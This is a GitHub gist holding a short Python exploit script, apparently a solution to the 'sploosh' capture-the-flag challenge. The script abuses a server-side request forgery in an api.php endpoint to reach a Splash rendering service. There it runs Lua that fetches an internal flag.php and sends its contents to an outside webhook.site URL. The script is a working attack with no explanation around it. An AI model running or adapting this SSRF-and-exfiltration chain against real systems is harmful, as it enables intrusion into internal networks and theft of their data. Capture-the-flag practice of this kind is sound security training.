Skip to content

Instantly share code, notes, and snippets.

@u0pattern
Created December 7, 2020 03:11
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save u0pattern/92c01201e4f6b7139ba7e72c734afb1f to your computer and use it in GitHub Desktop.
Save u0pattern/92c01201e4f6b7139ba7e72c734afb1f to your computer and use it in GitHub Desktop.
import requests
from urllib import quote
lua="""
function main(splash)
local treat = require("treat")
local json = splash:http_get('http://172.16.0.14/flag.php')
local response=splash:http_get('https://webhook.site/41ccba09-fd57-439b-b8be-05e20e446b72?flag='.. treat.as_string(json.body))
return "hi"
end
"""
url='http://sploosh.chal.perfect.blue/api.php?url=http://splash:8050/execute?lua_source='+quote(lua)
response=requests.get(url)
print(response.text)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment